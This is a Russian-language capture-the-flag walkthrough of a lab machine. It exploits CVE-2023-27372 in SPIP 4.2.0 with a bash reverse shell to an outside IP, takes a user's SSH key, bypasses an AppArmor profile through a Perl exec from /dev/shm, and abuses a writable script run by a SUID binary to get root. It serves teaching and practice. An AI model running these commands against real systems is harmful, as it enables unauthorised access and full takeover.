  <p id="gEjY">Интересного, казалось бы, ничего нет, однако в коде страницы находим версию CMS – Spip 4.2.0.</p>
  <figure id="7LzU" class="m_column">
    <img src="https://img2.teletype.in/files/1f/fa/1ffa5ee2-0b1f-47c8-9ddd-574bb5e4eb1f.png" width="1088" />
  </figure>
  <p id="o1jv">Немного погуглив, находим <a href="https://github.com/nuts7/CVE-2023-27372" target="_blank">CVE-2023-27372</a> на эту версию CMS.</p>
  <figure id="L7Hg" class="m_column">
    <img src="https://img1.teletype.in/files/07/43/0743e9ab-93aa-4585-bade-f9f751f329c1.png" width="1604" />
  </figure>
  <p id="oXBy">Суть уязвимости заключается в возможности удаленного выполнения кода из-за некорректной обработки сериализации, в рамках этой статьи мы не будем подробно на этом останавливаться (тем более про частные случаи сериализации я писал на своём канале). Клонируем репозиторий, запускаем эксплоит и ловим обратный шелл:</p>
  <pre id="Gh2S" data-lang="bash">python3 CVE-2023-27372.py -u http://10.10.200.194/spip/ -c &#x27;bash -c &quot;bash -i &gt;&amp; /dev/tcp/10.9.1.23/4444 0&gt;&amp;1&quot;&#x27; -v</pre>
  <p id="BlQF"></p>
  <h2 id="zCHC">Продвижение</h2>
  <p id="G2fc">Итак, мы попали в систему:</p>
  <figure id="lZR3" class="m_column">
    <img src="https://img2.teletype.in/files/1d/84/1d84780e-d5d4-4e45-95bb-f2992aebf9b8.png" width="1696" />
  </figure>
  <p id="aI9a">Немного изучив машину, мы выяснили, что наша следующая цель – пользователь think, а в его домашней директории нас дожидался его ssh-ключ:</p>
  <figure id="DVAo" class="m_column">
    <img src="https://img1.teletype.in/files/09/c6/09c69e16-0b7b-422c-a477-93b81fa17947.png" width="2168" />
  </figure>
  <p id="Q6mz">Забираем себе этот ключ и подключаемся с ним по ssh:</p>
  <pre id="8htk" data-lang="bash">ssh think@10.10.57.202 -i think.ssh</pre>
  <p id="Xl0H">И здесь мы, наконец, подобрались к тому, из-за чего этому материалу было суждено увидеть свет – эскалация привилегий. Мы загрузили на машинку LinPEAS (ультимативный скрипт для поиска векторов эскалации привилегий), однако при попытке выдать ему права на исполнение получили следующее:</p>
  <figure id="FU27" class="m_column">
    <img src="https://img1.teletype.in/files/cf/70/cf709cfa-20a1-4a9c-ad97-f2cb3a580cc4.png" width="1328" />
  </figure>
  <p id="iGRG">Возникает непонимание, но вернёмся к этому позже. Обойти это ограничение удалось путем предварительной установки необходимых прав перед копированием файла на машину:</p>
  <pre id="C53p" data-lang="bash">chmod +x linpeas.sh
scp -i /home/kali/thm/publisher/think.ssh /home/kali/thm/publisher/linpeas.sh think@publisher.thm:/home/think/1.sh</pre>
  <p id="Rv7f">После запуска LinPEAS нашел SUID-бит на исполняемом файле, не являющимся стандартным для Unix-систем:</p>
  <figure id="yPCu" class="m_column">
    <img src="https://img3.teletype.in/files/a4/2a/a42abc81-434e-41b2-a1dd-bc8fec774237.png" width="2432" />
  </figure>
  <p id="i5aD">Декомпилировав код, мы увидели следующую картину:</p>
  <figure id="nV2W" class="m_column">
    <img src="https://img2.teletype.in/files/9f/56/9f56e463-47f5-4b21-9e71-33977ce0f4fd.png" width="1940" />
  </figure>
  <p id="jMXG">В итоге бинарник выполняет следующую команду:</p>
  <pre id="cFkd" data-lang="bash">/bin/bash -p /opt/run_container.sh </pre>
  <p id="giLk">Несмотря на то, что у нас есть права на чтение директории /opt, прочитать её содержимое нам не удалось – почему так?</p>
  <figure id="Ni5C" class="m_column">
    <img src="https://img2.teletype.in/files/d7/5b/d75b8f29-f892-4e19-af8b-39e7b62616a4.png" width="1630" />
  </figure>
  <p id="meXu">Однако, прочитать содержимое run_container.sh, как и права на этом файле, удалось:</p>
  <figure id="Jnlu" class="m_column">
    <img src="https://img2.teletype.in/files/91/cb/91cbe095-e60a-479a-b674-31d0b363dd15.png" width="1714" />
  </figure>
  <p id="oLgA">Сразу можно заметить, что у нас есть права на запись в этот файл, а значит, SUID-бинарник выполнит любой код, который мы впишем в этот файл, от имени рута. Казалось бы, на этом машина заканчивается – но нет. Попытка изменить содержимое файла run_container.sh закончилась следующим:</p>
  <figure id="X6JC" class="m_column">
    <img src="https://img1.teletype.in/files/8a/b4/8ab477f0-3186-4c22-b49c-636aa0eb58d2.png" width="1142" />
  </figure>
  <p id="trPE">Почему же так вышло? Причина этого, конечно же, <strong>AppArmor</strong>.</p>
  <section style="background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="BRW6"><strong>AppArmor </strong>— программный инструмент, основанный на политиках безопасности (известных также как <u>профили</u>), которые определяют, к каким системным ресурсам и с какими привилегиями может получить доступ то или иное приложение. AppArmor реализует Mandatory Access Control (MAC), привязывая атрибуты контроля доступа непосредственно к программам, а не к пользователям. Во время загрузки ОС AppArmor загружает профили в ядро, и эти профили определяют, к каким ресурсам (сетевым подключениям, raw-сокетам, файлам) та или иная программа может получить доступ.</p>
  </section>
  <p id="fYLF">Существует два режима работы для профилей AppArmor:</p>
  <ul id="7GJO">
    <li id="ipwk"><strong>Enforcement Mode</strong> — этот режим активно применяет ограничения, описанные в профиле, и блокирует действия, которые их нарушают. AppArmor также и регистрирует любые попытки нарушения политик через syslog или auditd.</li>
    <li id="85SF"><strong>Complain Mode</strong> — в этом режиме AppArmor не блокирует действия. Вместо этого он просто регистрирует попытки нарушения профилей.</li>
  </ul>
  <p id="8ylq">Профили AppArmor обычно можно найти в <strong>/etc/apparmor.d/</strong>. С помощью <code>sudo aa-status</code> можно получить список двоичных файлов, которые ограничены профилем AppArmor. Для поиска профиля под конкретный бинарь необходимо взять его полный путь в системе, изменить символы &quot;/&quot; на точки в пути и добавить в начало <code>/etc/apparmor.d/</code>. Например, профиль AppArmor для <strong>/usr/bin/man</strong> будет находиться в <strong>/etc/apparmor.d/usr.bin.man</strong></p>
  <p id="ELNu">Вернёмся к нашей машине. Если проверить содержимое файла /etc/passwd, мы увидим, что у пользователя think по умолчанию установлена оболочка ash</p>
  <pre id="2dro" data-lang="bash">think@publisher:/$ cat /etc/passwd | grep think
think:x:1000:1000:,,,:/home/think:/usr/sbin/ash</pre>
  <p id="yw8X">Путь — <strong>/usr/sbin/ash</strong>, меняем <code>/</code> на <code>.</code>, получаем <strong>usr.sbin.ash</strong>. Теперь пытаемся прочитать профиль, соответствующий нашей оболочке, и видим следующую картину:</p>
  <pre id="I18G" data-lang="bash">think@publisher:/$ cat /etc/apparmor.d/usr.sbin.ash
#include &lt;tunables/global&gt;

/usr/sbin/ash flags=(complain) {
  #include &lt;abstractions/base&gt;
  #include &lt;abstractions/bash&gt;
  #include &lt;abstractions/consoles&gt;
  #include &lt;abstractions/nameservice&gt;
  #include &lt;abstractions/user-tmp&gt;

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}</pre>
  <p id="cwEn">Таким образом, наша задача – воспользоваться мисконфигурациями в настройке AppArmor для оболочки ash, получить &quot;полноценный&quot; шелл, переписать run_container.sh и захватить рута.</p>
  <p id="65Ne">Приступим!</p>
  <p id="7Oul">Для начала проанализируем конфигурацию ash:</p>
  <pre id="1qJG" data-lang="bash">  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,</pre>
  <p id="F5Ku">Здесь видим следующее:</p>
  <ul id="BAwz">
    <li id="gFQO">deny <strong><code>opt/ r</code></strong> означает запрет директории на чтение</li>
    <li id="GeSB">deny <code>/opt/** w</code> означает <em>рекурсивный</em> запрет директории на запись, т.е. мы не можем писать ни в /opt/, ни в какую-либо из её субдиректорий</li>
    <li id="RMqL">deny <code>/tmp/** w</code> аналогично</li>
    <li id="9Yty">deny <code>/dev/shm w</code> – мы не можем писать в /dev/ и не можем изменять директорию /dev/shm, однако в данном случае это правило не является рекурсивным. Проверим директорию /dev/shm/ на возможность создания там нового файла:</li>
  </ul>
  <figure id="n0Iq" class="m_column">
    <img src="https://img1.teletype.in/files/43/5e/435e6b0b-f9ca-4cd0-bba8-2d6ed434e447.png" width="1518" />
  </figure>
  <p id="yrtV">Файл записан. Теперь нужно подумать, как нам выйти за пределы ash. Помимо кучи других исполняемых файлов на машине присутствует интерпретатор языка Perl:</p>
  <pre id="7dVc" data-lang="bash">think@publisher:/dev/shm$ ls -la /usr/bin/perl
-rwxr-xr-x 2 root root 3478464 Nov 23  2023 /usr/bin/perl</pre>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="VAUO">Perl – это высокоуровневый язык программирования, который умеет, в том числе, работать с системными вызовами.</p>
  </section>
  <p id="rGxr">Благодаря этому мы, находясь в ash, можем обратиться к perl и запустить через него /bin/sh, тем самым сняв с себя ограничения, которые мы нашли в конфигурации AppArmor ash. Чтобы реализовать такую &quot;сложную&quot; процедуру, потребуется лишь пара шагов. Первым делом мы записываем команду для вызова /bin/sh в скрипт-файл <code>shell.pl</code> и располагаем этот скрипт в директории /dev/shm/, поскольку знаем, что у нас есть возможность записывать файлы в эту директорию.</p>
  <pre id="Gdw0" data-lang="bash">echo -e &#x27;#!/usr/bin/perl\nexec &quot;/bin/sh&quot;&#x27; &gt; /dev/shm/shell.pl</pre>
  <ul id="ktke">
    <li id="hwNg">Флаг <code>-e</code> используется для включения интерпретации бэкслеша, который используется в нагрузке.</li>
  </ul>
  <p id="H6Qt">Далее мы добавляем нашему скрипту права на выполнение и просто его запускаем:</p>
  <pre id="aZSQ" data-lang="bash">chmod +x /dev/shm/shell.pl
./shell.pl</pre>
  <p id="Migb">В результате мы получаем unrestricted шелл, внутри которого ограничения AppArmor не работают. Чтобы в этом убедиться, можем просто прочитать содержимое директории /opt/, к которому мы не имели доступа ранее:</p>
  <figure id="YaV1" class="m_column">
    <img src="https://img3.teletype.in/files/a7/19/a7198d55-c6cf-4328-895d-40ac75b2d71d.png" width="1372" />
  </figure>
  <p id="DL3n"></p>
  <h2 id="cNNU">Эскалация</h2>
  <p id="B0NX">Теперь, когда у нас на руках полноценный шелл, возвращаемся к нашему вектору эскалации и пишем в run_container.sh необходимый нам код:</p>
  <pre id="mJ0v" data-lang="bash">echo &#x27;/bin/bash -p&#x27; &gt; run_container.sh</pre>
  <p id="8YCB">Теперь, как только мы запустим бинарник /usr/sbin/run_container, он сразу же выполнит код run_container.sh, в который мы записали вызов шелла:</p>
  <figure id="3Unc" class="m_column">
    <img src="https://img1.teletype.in/files/84/a9/84a99b96-88ec-4ab9-b957-33b48eeb127e.png" width="1372" />
  </figure>
  <p id="kHl4">Так, мы получили привилегированный шелл, и осталось лишь собрать флаги!</p>

]]></content:encoded></item></channel></rss>